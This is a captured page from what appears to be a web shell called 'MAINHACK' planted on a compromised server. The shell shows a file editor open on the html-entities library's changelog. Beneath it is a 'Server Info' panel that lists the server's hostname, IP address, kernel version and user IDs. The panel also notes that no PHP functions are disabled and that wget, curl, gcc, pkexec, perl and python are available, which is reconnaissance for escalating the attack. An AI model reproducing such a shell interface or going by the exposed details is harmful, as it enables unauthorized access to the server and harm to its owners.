[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: CHANGELOG.md
2.3.2 ----- * Minimize data files, remove unnecessary files. 2.3.1 ----- * Improve performance of `encode()`, `decode()` and `decodeEntity()` by using function inlining. * Fix decoding HEX HTML entities in some cases. 2.3.0 ----- * Add flow types. 2.2.0 ----- * A fast `decodeEntity()` method to decode a single HTML entity. 2.1.1 ----- * Speed up both `encode()` and `decode()` methods. 2.1.0 ----- * Add `extensive` mode to `encode()` method. This mode encodes all non-printable characters, non-ASCII characters and all characters with named references. 2.0.6 ----- * Handle invalid numeric HTML entities: mimic browser behaviour. 2.0.5 ----- * Handling behaviour of ambiguous ampersands. 2.0.4 ----- * Fix webpack build warning. 2.0.3 ----- * Handle invalid numeric HTML entities. 2.0.2 ----- * Handle `null` and `undefined` text values. 2.0.1 ----- * Fix decoding numeric HTML entities. 2.0.0 ----- * Performance was greatly improved. * New API: simpler and more flexible. `htmlEntitiesInstance.encode(text)` -> `encode(text)` Before: ```js import {AllHtmlEntities} from 'html-entities'; const entities = new AllHtmlEntities(); console.log( entities.encode('<Hello & World>') ); ``` After: ```js import {encode} from 'html-entities'; console.log( encode('<Hello & World>') ); ``` --- `instance.encodeNonASCII(text)` -> `encode(text, {mode: 'nonAscii'})` Before: ```js import {AllHtmlEntities} from 'html-entities'; const entities = new AllHtmlEntities(); console.log( entities.encodeNonASCII('& © ∆') ); ``` After: ```js import {encode} from 'html-entities'; console.log( encode('& © ∆', {mode: 'nonAscii'}) ); ``` --- `instance.encodeNonASCII(text)` -> `encode(text, {mode: 'nonAsciiPrintable'})` Before: ```js import {AllHtmlEntities} from 'html-entities'; const entities = new AllHtmlEntities(); console.log( entities.encodeNonASCII('& © ∆ \x01') ); ``` After: ```js import {encode} from 'html-entities'; console.log( encode('& © ∆ \x01', {mode: 'nonAsciiPrintable'}) ); ``` --- `instance.decode(text)` -> `decode(text)` Before: ```js import {AllHtmlEntities} from 'html-entities'; const entities = new AllHtmlEntities(); console.log( entities.decode('<>&') ); ``` After: ```js import {decode} from 'html-entities'; console.log( decode('<>&') ); ``` --- Different XML/HTML versions are now implemented via options instead of different classes. Before: ```js import {XmlEntities, Html4Entities, Html5Entities, AllHtmlEntities} from 'html-entities'; const xmlEntities = new XmlEntities(); const html4Entities = new Html4Entities(); const html5Entities = new Html5Entities(); const allHtmlEntities = new AllHtmlEntities(); console.log(xmlEntities.encode('<>&')); console.log(html4Entities.encode('<>&©')); console.log(html5Entities.encode('<>&©℞')); console.log(allHtmlEntities.encode('<>&©℞')); console.log(xmlEntities.decode('<>&')); console.log(html4Entities.decode('<>&©')); console.log(html5Entities.decode('<>&©℞')); console.log(allHtmlEntities.decode('<>&©℞')); ``` After: ```js import {encode, decode} from 'html-entities'; console.log(encode('<>&', {level: 'xml'})); console.log(encode('<>&©', {level: 'html4', mode: 'nonAscii'})); console.log(encode('<>&©℞', {level: 'html5', mode: 'nonAscii'})); console.log(encode('<>&©℞', {level: 'all', mode: 'nonAscii'})); console.log(decode('<>&', {level: 'xml'})); console.log(decode('<>&©', {level: 'html4'})); console.log(decode('<>&©℞', {level: 'html5'})); console.log(decode('<>&©℞', {level: 'all'})); ```
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.72 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002